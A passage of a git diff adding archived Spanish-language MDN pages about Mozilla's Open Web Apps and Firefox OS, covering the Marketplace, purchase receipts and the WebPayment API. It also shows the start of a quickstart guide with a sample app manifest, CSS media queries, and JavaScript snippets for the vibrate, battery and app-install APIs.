ligero.</span> <span class="hps">Y están</span> <span class="hps">escritas usando</span> <span class="hps">tecnologías web</span> <span class="hps">abiertas</span><span>, que es</span> <span class="hps">la plataforma más</span> <span class="hps">distribuida</span> <span class="hps">alrededor del mundo.</span> <span class="hps">Además, los dispositivos</span> <span class="hps">de Firefox</span> <span class="hps">OS</span> <span class="hps">cuentan con</span> <span class="hps">sistemas de pago</span> <span class="hps">donde se puede simplemente</span> <span class="hps">pagar por adelantado para</span> <span class="hps">comprar aplicaciones</span> <span class="hps">o agregar</span> <span class="hps">el costo</span> <span class="hps">a</span> <span class="hps">su factura de</span> <span class="hps">teléfono.</span></span></div>
+  </div>
+ </li>
+ <li><strong>Tienda de Open Web Apps</strong>: <span id="result_box" lang="es"><span class="hps">Siguiendo con</span> <span class="hps">el punto anterior,</span> <span class="hps">se puede optar por</span> <span class="hps">alojar sus</span> <span class="hps">aplicaciones</span> <span class="hps">en un mercado</span> <span class="hps">existente </span></span>(como el <a href="https://marketplace.firefox.com/" title="https://marketplace.firefox.com/">Firefox Marketplace</a>), <span id="result_box" lang="es"><span class="hps">o alojarlas</span> <span class="hps">en algún lugar</span> <span class="hps">completamente distinto.</span> <span class="hps">Todo depende de</span> <span class="hps">usted.</span> <span class="hps">Mozilla</span> <span class="hps">tiene como objetivo poner</span> <span class="hps">de vuelta al desarrollador d</span><span class="hps">e nuevo en el control</span> <span class="hps">de cada aspecto </span><span class="hps">de las aplicaciones</span><span class="hps"> para una facil</span><span class="hps"> distribución  y </span><span class="hps">la gestión directa</span> de <span class="hps">la relación con el cliente</span><span>.</span><span class="hps"> Y las</span> <span class="hps">aplicaciones</span> <span class="hps">se pueden buscar</span> <span class="hps">al igual que cualquier</span> <span class="hps">otra experiencia</span> <span class="hps">basada en la Web</span><span>.</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="es"><span class="hps">El siguiente video</span> <span class="hps">también se ve en</span> <span class="hps">las ventajas</span> <span class="hps">generales de las Open Web Apps</span><span>, y el desarrollo</span> <span class="hps">para la plataforma</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>:</span></span></p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/RJJkFshnnVc?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<h2 id="La_Web_es_la_plataforma">La Web es la plataforma</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Una Open Web App</span><span>, como tal existe</span> <span class="hps">instalada en</span> <span class="hps">una plataforma como</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">no es un</span> <span class="hps">bookmark</span> <span class="hps">- es</span> <span class="hps">una parte</span><span class="hps"> propia del sistema</span><span>.</span><span class="hps"> Las Open Web Apps</span> son <span class="hps">una gran promesa</span><span>.</span> <span class="hps">Se trata de</span> <span class="hps">una oportunidad</span> <span class="hps">que no hay que</span> <span class="hps">perderse</span><span>,</span> <span class="hps">de lo contrario la</span> <span class="hps">web puede</span> <span class="hps">llegar a ser</span> <span class="hps">una vez más</span><span class="hps"> dividida</span><span>.</span> <span class="hps">Con</span> <span class="hps">esto en mente,</span> <span class="hps">debe</span> <span class="hps">quedar claro</span> <span class="hps">que las Open Web Apps </span><span class="hps atn">(</span><span>OWA</span><span>)</span> <span class="hps">están destinadas a</span> <span class="hps">ser estandarizadas y</span> <span class="hps">de formar parte de</span> <span class="hps atn">"</span><span>la</span> <span class="hps">Web"</span><span>.</span> <span class="hps">Si tiene éxito</span><span>, OWA</span> <span class="hps">debería</span> <span class="hps">eventualmente</span> <span class="hps">trabajar en todos los</span> <span class="hps">navegadores,</span> <span class="hps">sistemas</span> <span class="hps">operativos y dispositivos.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">Mozilla</span> <span class="hps">estamos trabajando duro</span> <span class="hps">para crear esta</span> <span class="hps">plataforma de</span> <span class="hps">aplicaciones</span> <span class="hps">que está respaldada</span> <span class="hps">en su totalidad por</span> <span class="hps">la</span> open <span class="hps">Web</span><span class="hps">.</span> <span class="hps">No es</span> <span class="hps">la intención de ser</span> la <span class="hps">"plataforma </span><span class="hps">Mozilla</span><span class="atn">" o la "</span><span>plataforma </span><span class="hps">Firefox"</span><span>.</span> <strong><span class="hps">La</span> <span class="hps">Web</span> <span class="hps">es la plataforma</span></strong><span>.</span> <span class="hps">Estamos creando</span> <span class="hps">un conjunto de</span> <span class="hps">APIs abiertas</span> <span class="hps">y las implementaciones</span> <span class="hps">para demostrar cómo</span> <span class="hps">pueden existir</span> <span class="hps">aplicaciones portátiles</span> <span class="hps">en la web sin</span> <span class="hps">dependencia de un proveedor</span><span>.</span> <span class="hps">Otros grupos</span><span>, como Facebook y</span> <span class="hps">Google</span> <span class="hps">Chrome</span> <span class="hps">también están trabajando</span> <span class="hps">en las plataformas de</span> <span class="hps">aplicaciones</span> <span class="hps">soportadas</span> <span class="hps">por la</span> <span class="hps">Web.</span></span> <a href="https://developers.facebook.com/docs/guides/canvas/">Facebook apps</a> estan hechas para encajar en Facebook y <a href="http://www.google.com/intl/en/chrome/webstore/apps.html">Chrome apps</a> estan diseñadas para dispositivos Chrome OS y servidores de Google. Las Chrome apps son las más similares a las Open Web Apps. <span id="result_box" lang="es"><span class="hps">Seguimos colaborando</span> <span class="hps">con el equipo de</span> <span class="hps">Google</span> <span class="hps">Chrome</span> <span class="hps">como las normas de las apps</span> <span class="hps">evolucionan y</span> <span class="hps">que sin duda</span> <span class="hps">compartimos </span>nuestra<span class="hps"> visión en gran parte.</span> <span class="hps">Existe</span> <span class="hps">un enorme potencial para</span> <span class="hps">todas las plataformas</span> <span class="hps">de apps</span> <span class="hps">basadas en la</span> <span class="hps">Web</span> <span class="hps">para converger</span> <span class="hps">e invitamos a</span> <span class="hps">todos los proveedores</span> <span class="hps">a ayudarnos</span> <span class="hps">a construir</span> las correctas <span class="hps">Open Web </span><span class="hps">App</span> <span class="hps">APIs.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">A pesar de que</span> <span class="hps">actualmente</span> <span class="hps">se debe tener</span> <span class="hps">un motor</span> <span class="hps">basado en Firefox</span> <span class="hps">Mozilla </span></span>("Web runtime") para usar las Open Web Apps, <span id="result_box" lang="es"><span>no</span> <span class="hps">se pretende que</span> <span class="hps">este</span> <span class="hps">será siempre el</span> <span class="hps">caso</span></span>. <span id="result_box" lang="es"><span class="hps">Muchas partes del</span> <span class="hps">proyecto de</span> <span class="hps">aplicaciones</span> <span class="hps">Web</span> <span class="hps">abiertas</span> <span class="hps">aún</span> <span class="hps">se están elaborando</span> <span class="hps">y no es</span> <span class="hps">posible implementar</span> <span class="hps">todo</span> <span class="hps">en todos los navegadores</span> <span class="hps">a la vez</span></span>. <span id="result_box" lang="es"><span class="hps">Aunque</span> <span class="hps">muchas partes de</span> las Open Web Apps <span class="hps">ya</span> <span class="hps">están estandarizadas,</span> <span class="hps">muchas otras partes</span> <span class="hps">todavía están</span> <span class="hps">en proceso de cambio</span><span>.</span> <span class="hps">Se pretende</span> <span class="hps">y se espera</span> <span class="hps">que las Open Web Apps </span><span class="hps">serán</span> <span class="hps">una </span><span class="hps">estándar que</span> <span class="hps">estará disponible en</span> <span class="hps">los principales navegadores</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Por lo tanto</span><span>, cuando usted lee</span> <span class="hps">las páginas</span>  de <span class="hps">MDN</span> <span class="hps">que tienen que ver</span> <span class="hps">con</span> <span class="hps">las</span> <span class="hps">Open Web</span><span> Apps,</span> <span class="hps">por favor, tenga</span> <span class="hps">en cuenta que</span> <span class="hps">a pesar de que</span> <span class="hps">mucha de la información</span> <span class="hps">es específica para</span> <span class="hps">Firefox</span> <span class="hps">en este momento,</span> <span class="hps">es de esperar que</span>  <span class="hps">se permitirá desarrollar</span> <span class="hps">Open Web Apps</span> <span class="hps">para todos los navegadores</span> <span class="hps">en el futuro.</span></span></p>
+
+<h2 id="Estándares_Web">Estándares Web</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">La tecnología de</span> <span class="hps">OWA</span> <span class="hps">no es una</span> <span class="hps">sola pieza</span><span>, es</span> <span class="hps">un paraguas</span> <span class="hps">que agrupa a</span> <span class="hps">muchas tecnologías</span> <span class="hps">diferentes</span> <span class="hps">y algunas</span> <span class="hps">de ellas</span> <span class="hps">son muy nuevas</span><span>.</span> <span class="hps">Por el momento</span><span>, partes de</span> <span class="hps">OWA</span> <span class="hps">están estandarizadas</span> <span class="hps">(HTML5</span><span>, CSS</span><span>, JavaScript,</span> <span class="hps">IndexedDB</span><span>, etc.)</span></span>. <span id="result_box" lang="es"><span class="hps">Otras partes</span> <span class="hps">aún no</span> <span class="hps">están estandarizadas y</span> <span class="hps">la implementación</span><span class="hps"> Mozilla</span> <span class="hps">es</span> solo <span class="hps">específica</span> <span class="hps">para</span> <span class="hps">Firefox o</span> <span class="hps">a alguna otra</span> <span class="hps">tecnología de Mozilla</span><span>.</span> <span class="hps">Como</span> <span class="hps">la misión de</span> <span class="hps">Mozilla</span> <span class="hps">es</span> <span class="hps">de compartir y</span> <span class="hps">potenciar a</span> <span class="hps">todos,</span> <span class="hps">esta situación</span> <span class="hps">es sólo temporal.</span> <span class="hps">Es por eso que</span> <span class="hps">en la documentación</span> <span class="hps">OWA</span> <span class="hps">vamos a tratar de</span> <span class="hps">identificar claramente las</span> <span class="hps">partes de</span> <span class="hps">OWA</span> <span class="hps">que no están</span> <span class="hps">todavía</span> <span class="hps">estandarizadas.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">Tenga en cuenta también</span> <span class="hps">que puede haber</span> <span class="hps">algunas propuestas</span> <span class="hps">relacionadas con</span> <span class="hps">OWA</span> <span class="hps">y normas</span> <span class="hps">potenciales que</span> <span class="hps">no son utilizadas por</span> <span class="hps">Mozilla.</span></span></p>
+
+<h3 id="Normas_eventualmente_previstas.">Normas eventualmente previstas.</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Así que aquí están</span> <span class="hps">las piezas no</span> <span class="hps">estandarizadas</span> <span class="hps">aún</span> <span class="hps">a través de las</span> <span class="hps">distintas plataformas</span> <span class="hps">web y</span> <span class="hps">que aún</span> <span class="hps">son</span> <span class="hps">Firefox</span><span>, sólo</span> <span class="hps">por el momento</span><span>:</span></span></p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/Manifest">OWA manifest</a> para definir la app.</li>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">The Complete OWA API</a> para trabajar con apps.</li>
+ <li><a href="https://wiki.mozilla.org/WebAPI">Web APIs</a> para acceder a cosas como el tel<b>é</b>fono, geolocalización, etc. Tambien puedes ver <a href="http://arewemobileyet.com/">arewemobileyet.com</a> para un reporte de status.</li>
+ <li><a href="/en-US/docs/Mozilla/Persona">Identity (Persona)</a> para trabajar con los datos de usuario.</li>
+ <li><a href="https://wiki.mozilla.org/WebAPI/WebPayment">WebPayment API</a> para facilitar los pagos en apps y las compras de apps para cualquier Marketplace.</li>
+ <li><a href="https://wiki.mozilla.org/Apps/WebApplicationReceipt">OWA Receipts</a> para verificar el pago de apps en cualquier dispositivo y vender apps para cualquier Marketplace.</li>
+</ul>
+
+<h3 id="Marketplace">Marketplace</h3>
+
+<h4 id="Compra_una_vez_Ejecuta_donde_sea">Compra una vez, Ejecuta donde sea</h4>
+
+<p><span id="result_box" lang="es"><span class="hps">Desde</span> <span class="hps">el principio</span> <span class="hps">Mozilla</span> <span class="hps">ha</span> construido <span class="hps">un sistema de</span> <span class="hps">aplicaciones</span> <span class="hps">que permite a</span> <span class="hps">los usuarios comprar</span> <span class="hps">una aplicación</span> <span class="hps">una vez</span> <span class="hps">y ejecutarla en</span> <span class="hps">todos sus dispositivos</span> <span class="hps">HTML5</span><span>.</span> <span class="hps">Muy</span> <span class="hps">pronto</span> <span class="hps">Mozilla</span></span> <a href="http://bits.blogs.nytimes.com/2012/09/07/a-firefox-smartphone-for-the-poor/">lanzara el smartphone FirefoxOS</a> <span id="result_box" lang="es"><span class="hps">pero eso será</span> <span class="hps">sólo un</span> <span class="hps">dispositivo en el que</span> <span class="hps">se ejecuten</span> <span class="hps">sus aplicaciones</span><span>.</span> <span class="hps">Cuando usted compra</span> <span class="hps">una aplicación</span> <span class="hps">a través de la</span></span> <a href="https://marketplace.firefox.com/">Firefox Marketplace</a>, <span class="short_text" id="result_box" lang="es"><span class="hps">el sistema instala</span> <span class="hps">un recibo</span> <span class="hps">en su dispositivo</span></span>. El <a href="https://wiki.mozilla.org/Apps/WebApplicationReceipt">recibo</a> es un JSON Web Token con metadata <span id="result_box" lang="es"><span class="hps">que enlaza con</span> <span class="hps">la clave pública del</span> <span class="hps">mercado</span> <span class="hps">y su</span> <span class="hps">dirección URL del servicio</span> <span class="hps">de verificación</span></span>. <span id="result_box" lang="es"><span class="hps">Cuando</span> <span class="hps">una aplicación</span> <span class="hps">se inicia</span><span>, puede</span> <span class="hps">verificar</span> el recibo <span class="hps">pero</span> el recibo <span class="hps">en el dispositivo no</span> <span class="hps">está</span> <span class="hps">atado al</span> <span class="hps">Firefox MarketPlace.</span> <span class="hps">El recibo es</span> <span class="hps">sólo una prueba</span> <span class="hps">criptográficamente</span> <span class="hps">verificable</span> <span class="hps">de compra.</span> <span class="hps">Cualquiera puede</span> <span class="hps">vender</span> <span class="hps">Open Web Apps</span> <span class="hps">si siguen las</span> <span class="hps">especificaciones del</span> <span class="hps">recibo</span><span>.</span> <strong><span class="hps">Cuando usted compra</span> <span class="hps">una aplicación</span><span>, se</span> <span class="hps">pretende que sea</span> <span class="hps">portable a través de</span> <span class="hps">cualquier dispositivo compatible con</span> <span class="hps">el sistema de</span> Open Web Apps<span>.</span></strong></span></p>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">Mozilla</span> <span class="hps">está construyendo</span> <span class="hps">la infraestructura necesaria</span> <span class="hps">para ejecutar</span> <span class="hps">Open Web Apps</span> <span class="hps">en cualquier dispositivo</span> <span class="hps">HTML5.</span> <span class="hps">Firefox</span> <span class="hps">para Android</span> <span class="hps">le permitirá instalar</span> <span class="hps">y ejecutar</span> <span class="hps">aplicaciones</span> <span class="hps atn">(</span><span>se puede probar</span> <span class="hps">hoy</span><span>)</span><span>.</span> <span class="hps">Los iconos de las apps instaladas estarán en tu pantalla principal justo como en las aplicaciones normales de Android. También se puede</span> <span class="hps">instalar y ejecutar</span> <span class="hps">Open Web Apps </span><span class="hps">en el escritorio</span> <span class="hps">de Windows</span><span>, Mac</span> <span class="hps">o</span> <span class="hps">Linux</span> <span class="hps">usando</span> <span class="hps">Firefox</span> <span class="hps">(esto funciona</span> <span class="hps">actualmente</span><span>)</span><span>.</span> <span class="hps">Actualmente</span> <span class="hps">se requiere</span> <span class="hps">alguna versión de</span> <span class="hps">Firefox</span><span>, pero</span> <span class="hps">está previsto que</span> <span class="hps">el sistema de</span> <span class="hps">Open Web</span> <span class="hps">finalmente</span> <span class="hps">reciba el apoyo de</span> <span class="hps">todos los navegadores</span> <span class="hps">principales con</span> <span class="hps">un conjunto de normas</span><span>.</span> <span class="hps">Desde el primer día</span> <span class="hps">Mozilla</span> <span class="hps">ha</span> <span class="hps">incluido todos</span> <span class="hps">los navegadores</span> <span class="hps">compatibles con</span> <span class="hps">HTML5</span> <span class="hps">en su</span> <span class="hps">prueba de</span> <span class="hps">conceptos</span><span>, se puede</span> <span class="hps">echar un vistazo a</span> <span class="hps">esta</span> <span class="hps">shim alojada en</span> <span class="hps">JavaScript</span> <span class="hps">para obtener ideas sobre</span> <span class="hps">cómo apoyar a</span> <span class="hps">la plataforma de</span> <span class="hps">aplicaciones</span> <span class="hps">en un navegador</span> <span class="hps">que no sea Firefox</span><span>.</span></span></div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">el futuro, el</span> <span class="hps">sistema de</span> Open Web Apps <span class="hps">apoyará </span></span><a href="http://docs.services.mozilla.com/aitc/">sinconizando tus apps instaladas</a> entre dispositivos. <span id="result_box" lang="es"><span class="hps">Dado que</span> <span class="hps">los recibos</span> <span class="hps">son portátiles</span> <span class="hps">sólo podrías</span> <span class="hps">sincronizarlos</span> <span class="hps">tú mismo</span> <span class="hps">si quieres</span><span>.</span> <span class="hps">En caso de que</span> <span class="hps">no, es obvio</span><span>  que siempre se puede</span> <span class="hps">ejecutar una</span> <span class="hps">Open Web App</span><span class="hps"> gratis</span> <span class="hps">en cualquier navegador</span><span>, ya que</span> <span class="hps">no</span> <span class="hps">es diferente de</span> <span class="hps">un sitio web</span></span>. </p>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span class="short_text" id="result_box" lang="es"><span class="hps">Se podría</span><span>, sin embargo</span><span>,</span> <span class="hps">utilizar las nuevas</span></span><a href="https://wiki.mozilla.org/WebAPI/"> APIs especificas para mobiles</a> <span class="short_text" id="result_box" lang="es"><span class="hps">que no</span> <span class="hps">se aplican</span> <span class="hps">en todas las plataformas</span><span>.</span></span></div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<p><span id="result_box" lang="es"><span class="hps">El video a continuación</span> <span class="hps">ofrece</span> <span class="hps">un panorama útil de</span> <span class="hps">las ventajas de</span> <span class="hps">los MarketPlace</span> <span class="hps">abiertos</span> <span class="hps">y un enfoque</span> para el descubrimiento de las Open Apps<span>:</span></span></p>
+
+<p></p><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/QCH_ncCrZfE?rel=0&amp;html5=1"></iframe></div></div><p></p>
+
+<h3 id="WebPayment_API">WebPayment API</h3>
+
+<h4 id="Comercio_para_Apps">Comercio para Apps</h4>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">Parte del éxito</span> <span class="hps">de las</span> <span class="hps">plataformas de aplicaciones</span> <span class="hps">móviles como</span> <span class="hps">iOS</span> <span class="hps">y Android</span> <span class="hps">es que hacen</span> <span class="hps">que sea muy fácil</span> <span class="hps">de probar</span> <span class="hps">nuevos modelos de negocio</span> <span class="hps">a través de</span> <span class="hps">los pagos móviles</span><span>.</span> <span class="hps">Estos modelos</span> <span class="hps">todavía</span> <span class="hps">están evolucionando</span> <span class="hps">pero el comercio</span> <span class="hps">es</span> <span class="hps">sin duda</span> <span class="hps">algo que</span><span>,</span> <span class="hps">en el momento</span><span>,</span> <span class="hps">es</span> <span class="hps">incómodo</span> <span class="hps">en la Web</span> <span class="hps">de escritorio</span> <span class="hps">y</span> <span class="hps">más natural</span> <span class="hps">en el móvil</span><span>.</span> <span class="hps">En concreto</span><span>, es muy</span> <span class="hps">conveniente para cargar</span> <span class="hps">algo a su</span> <span class="hps">factura de teléfono</span> <span class="hps">cuando</span> <span class="hps">usted ya está</span> <span class="hps">accediendo a ella</span> <span class="hps">desde el teléfono</span> <span class="hps">de todos modos.</span></span> <span id="result_box" lang="es"><span class="hps">Con el lanzamiento de</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>, el entorno de</span> <span class="hps">aplicaciones</span> <span class="hps">apoyará</span> <span class="hps">compras de aplicaciones</span> <span class="hps">y los pagos</span> <span class="hps">dentro de la aplicación</span> <span class="hps">a través de la</span></span> <a href="https://wiki.mozilla.org/WebAPI/WebPayment" style="">WebPayment API</a>.<span id="result_box" lang="es"><span class="hps"> Apoyar</span> <span class="hps">el comercio</span> <span class="hps">es crucial</span> <span class="hps">para el crecimiento de</span> <span class="hps">una plataforma de</span> <span class="hps">aplicaciones</span><span>.</span> <strong><span class="hps">El</span> <span class="hps">uso de</span> <span class="hps">la API de</span> <span class="hps">pago propuesto</span> <span class="hps">es</span> <span class="hps">completamente opcional</span><span>.</span> </strong><span class="hps">Mozilla</span> <span class="hps">no impedirá que</span> <span class="hps">cualquier aplicación</span><span class="hps"> utilice su</span> <span class="hps">propio</span> <span class="hps"><span id="result_box" lang="es"><span class="hps">sistema de pago independiente</span></span></span><span>.</span></span></div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<h2 id="Véase_también">V<span class="short_text" id="result_box" lang="es"><span class="hps">éase también</span></span></h2>
+
+<ul>
+ <li><a href="https://blog.mozilla.org/webdev/2012/09/14/apps-the-web-is-the-platform/">Apps: The Web Is The Platform</a>, por Kumar McMillan (el blog publica <span id="result_box" lang="es"><span class="hps">mucho</span> <span class="hps">de los contenidos</span> <span class="hps">de este artículo</span><span>)</span></span></li>
+ <li><a href="https://plus.google.com/113127438179392830442/posts/fR3iiuN4kEF">See the Web platform succeed for applications</a>, por Paul Irish</li>
+</ul>
diff --git a/files/es/archive/b2g_os/quickstart/tu_primera_aplicacion/index.html b/files/es/archive/b2g_os/quickstart/tu_primera_aplicacion/index.html
new file mode 100644
index 0000000000..a1f58175e8
--- /dev/null
+++ b/files/es/archive/b2g_os/quickstart/tu_primera_aplicacion/index.html
@@ -0,0 +1,257 @@
+---
+title: Tu primera Aplicación
+slug: Archive/B2G_OS/Quickstart/tu_primera_aplicacion
+translation_of: Archive/B2G_OS/Quickstart/Your_first_app
+---
+<article class="brush: js">
+<div class="summary">
+<p>Las aplicaciones de la web abierta le dan a los desarrolladores lo que justamente han querido por años: un entorno multiplataforma dedicado a la construccion de aplicaciones con HTML, CSS y Javascript, con Firefox OS siendo la primera plataforma dedicada a las aplicaciones web. Esta guía tiene como objetivo iniciarte y orientarte rápidamente en una estructura básica e instrucciones de construcción, ¡de tal manera que tú puedas crear la siguiente generación de aplicaciones!</p>
+</div>
+
+<p>Si deseas continuar con esta guía, puedes descargar nuestro<span style="line-height: 21px;"> </span><a href="https://github.com/chrisdavidmills/mdn-app-template" style="line-height: 21px;">quick start app template</a>. Encuentra más provechoso el contenido leyendo la guía <span style="line-height: 21px;"> </span><a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Style_guide/Sample_app_coding_guidelines#Apps_template" style="line-height: 21px;">Apps template</a><span style="line-height: 21px;">.</span></p>
+
+<h2 id="Estructura_de_la_Aplicación">Estructura de la Aplicación</h2>
+
+<h3 id="Aplicaciones_Empaquetadas_vs._Aplicaciones_Alojadas">Aplicaciones Empaquetadas vs. Aplicaciones Alojadas</h3>
+
+<p>Hay dos tipos de aplicaciones web abiertas: <code>empaquetadas </code>y  <code>alojadas. </code>Las aplicaciones empaquetadas son esencialmente archivos  <code>zip</code>  conteniendo todos los archivos necesarios: HTML, CSS, JavaScript, imágenes, manifest, etc. Las aplicaciones alojadas están corriendo desde un servidor en un dominio dado, como un sitio web estandard. Ambos tipos de aplicaciones  requieren un manifest válido. Cuando llega el momento de listar tu aplicación  en el Firefox Marketplace, ya sea que tu subas tu aplicación como un archivo zip o la URL del servidor donde está tu aplicación.</p>
+
+<div><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/Q7x-B13y33Q?rel=0&amp;html5=1"></iframe></div></div>
+<div class="video-caption">
+<p>Hecho en colaboración con Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">Check them out!</a></p>
+</div>
+</div>
+
+<p>A los efectos de esta guía, crearás una aplicación alojada que vivirá en tu dirección <code>localhost</code>. Una vez que tu aplicación esté lista para ser publicada en el Firefox Marketplace, podras tomar la decisión de agruparla como una aplicación empaquetada o lanzarla como una aplicación alojada.</p>
+
+<h3 id="Manifest_de_la_Aplicación">Manifest de la Aplicación</h3>
+
+<p>Cada aplicación de Firefox  requiere un archivo manifest.webapp en la raíz de la aplicación. El archivo <a href="/en-US/docs/Web/Apps/Manifest"><code>manifest.webapp</code></a>  proporciona información importante sobre la aplicación, como la versión, nombre, descripción, localización de íconos, strings locales, dominios donde la aplicación puede ser instalada, y mucho más. Sólo el nombre y la descripción son obligatorios. Una plantilla simple dentro de la aplicación es similar a lo que sigue:</p>
+
+<pre class="brush: js">{
+  "version": "0.1",
+  "name": "Open Web App",
+  "description": "Your new awesome Open Web App",
+  "launch_path": "/app-template/index.html",
+  "icons": {
+    "16": "/app-template/app-icons/icon-16.png",
+    "48": "/app-template/app-icons/icon-48.png",
+    "128": "/app-template/app-icons/icon-128.png"
+  },
+  "developer": {
+    "name": "Your Name",
+    "url": "http://yourawesomeapp.com"
+  },
+  "locales": {
+    "es": {
+      "description": "Su nueva aplicación impresionante Open Web",
+      "developer": {
+        "url": "http://yourawesomeapp.com"
+      }
+    },
+    "it": {
+      "description": "Il vostro nuovo fantastico Open Web App",
+      "developer": {
+        "url": "http://yourawesomeapp.com"
+      }
+    }
+  },
+  "default_locale": "en"
+}</pre>
+
+<div><div class="intrinsic-wrapper"><div class="intrinsic-container "><iframe src="https://www.youtube.com/embed/dgAUgHQOm8M#t?rel=0&amp;html5=1"></iframe></div></div>
+<div class="video-caption">
+<p>Hecho en colaboración con Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">Check them out!</a></p>
+</div>
+</div>
+
+<p> </p>
+
+<p>Un manifiesto básico es todo lo que necesitas para empezar. Para más detalles sobre los manifiestos, lee <a href="/en-US/docs/Web/Apps/Manifest">App Manifest</a>.</p>
+
+<h2 id="App_Layout_Design">App Layout &amp; Design</h2>
+
+<p>El <em>responsive design</em> (diseño adaptativo) se ha convertido cada vez más importante a medida que más resoluciones de pantalla en diferentes dispositivos se convierten en la norma. Aunque el principal objetivo de tu aplicación sean las plataformas móviles como Firefox OS, otros dispositivos probablemente también tengan acceso a ella. Las <a href="//developer.mozilla.org/docs/CSS/Media_queries">CSS media queries</a> permiten adaptar el diseño al dispositivo, como se muestra en este ejemplo de esqueleto en CSS:</p>
+
+<pre class="brush: css">/* The following are examples of different CSS media queries */
+
+/* Basic desktop/screen width sniff */
+@media only screen and (min-width : 1224px) {
+  /* styles */
+}
+
+/* Traditional iPhone width */
+@media
+  only screen and (-webkit-min-device-pixel-ratio : 1.5),
+  only screen and (min-device-pixel-ratio : 1.5) {
+  /* styles */
+}
+
+/* Device settings at different orientations */
+@media screen and (orientation:portrait) {
+  /* styles */
+}
+@media screen and (orientation:landscape) {
+  /* styles */
+}</pre>
+
+<p>Hay muchos <em>frameworks</em> JavaScript y CSS disponibles para ayudar en el diseño adaptativo y el desarrollo de aplicaciones móviles (<a href="http://twitter.github.com/bootstrap">Bootstrap</a>, etc.). Elige el <em>frameworks(s)</em> que mejor se adapte a tu aplicación y estilo de desarrollo.</p>
+
+<h2 id="Web_APIs">Web APIs</h2>
+
+<p>JavaScript APIs are being created and enhanced as quickly as devices are. Mozilla's <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> effort brings dozens of standard mobile features to JavaScript APIs. A list of device support and status is available on the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page. JavaScript feature detection is still the best practice, as shown in the following example:</p>
+
+<pre class="brush: js">// If this device supports the vibrate API...
+if('vibrate' in navigator) {
+    // ... vibrate for a second
+    navigator.vibrate(1000);
+}</pre>
+
+<p>In the following example, the display style of a <code>&lt;div&gt;</code> is modified based on changes in the battery state of the device:</p>
+
+<pre class="brush: java">// Create the battery indicator listeners
+(function() {
+  var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery,
+      indicator, indicatorPercentage;
+
+  if(battery) {
+    indicator = document.getElementById('indicator'),
+    indicatorPercentage = document.getElementById('indicator-percentage');
+
+    // Set listeners for changes
+    battery.addEventListener('chargingchange', updateBattery);
+    battery.addEventListener('levelchange', updateBattery);
+
+    // Update immediately
+    updateBattery();
+  }
+
+  function updateBattery() {
+    // Update percentage width and text
+    var level = (battery.level * 100) + '%';
+    indicatorPercentage.style.width = level;
+    indicatorPercentage.innerHTML = 'Battery: ' + level;
+    // Update charging status
+    indicator.className = battery.charging ? 'charging' : '';
+  }
+})();</pre>
+
+<p>In the code sample above, once you confirm that the <a href="https://developer.mozilla.org/en-US/docs/DOM/window.navigator.battery">Battery API</a> is supported, you can add event listeners for <code>chargingchange</code> and <code>levelchange</code> to update the element's display. Try adding the following to the quickstart template, and see if you can get it working.</p>
+
+<p>Check the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page frequently to keep up to date with device API statuses.</p>
+
+<h3 id="Install_API_functionality">Install API functionality</h3>
+
+<p>In our sample quickstart app template, we've implemented an install button that you can click when viewing the app as a standard Web page, to install that site on Firefox OS as an app. The button markup is nothing special:</p>
+
+<pre class="brush: html">&lt;button id="install-btn"&gt;Install app&lt;/button&gt;</pre>
+
+<p>This button's functionality is implemented using the Install API (see install.js):</p>
+
+<pre class="brush: js">var manifest_url = location.href + 'manifest.webapp';
+
+function install(ev) {
+  ev.preventDefault();
+  // define the manifest URL
+  // install the app
+  var installLocFind = navigator.mozApps.install(manifest_url);
+  installLocFind.onsuccess = function(data) {
+    // App is installed, do something
+  };
+  installLocFind.onerror = function() {
+    // App wasn't installed, info is in
+    // installapp.error.name
+    alert(installLocFind.error.name);
+  };
+};
+
+// get a reference to the button and call install() on click if the app isn't already installed. If it is, hide the button.
+var button = document.getElementById('install-btn');
+
+var installCheck = navigator.mozApps.checkInstalled(manifest_url);
+
+installCheck.onsuccess = function() {
+  if(installCheck.result) {
+    button.style.display = "none";
+  } else {
+    button.addEventListener('click', install, false);
+  };
+};
+</pre>
+
+<p>Let's run through briefly what is going on:</p>
+
+<ol>
+ <li>We get a reference to the install button and store it in the variable <code>button</code>.</li>
+ <li>We use <code>navigator.mozApps.checkInstalled</code> to check whether the app defined by the manifest at <code>http://people.mozilla.com/~cmills/location-finder/manifest.webapp</code> is already installed on the device. This test is stored in the variable <code>installCheck</code>.</li>
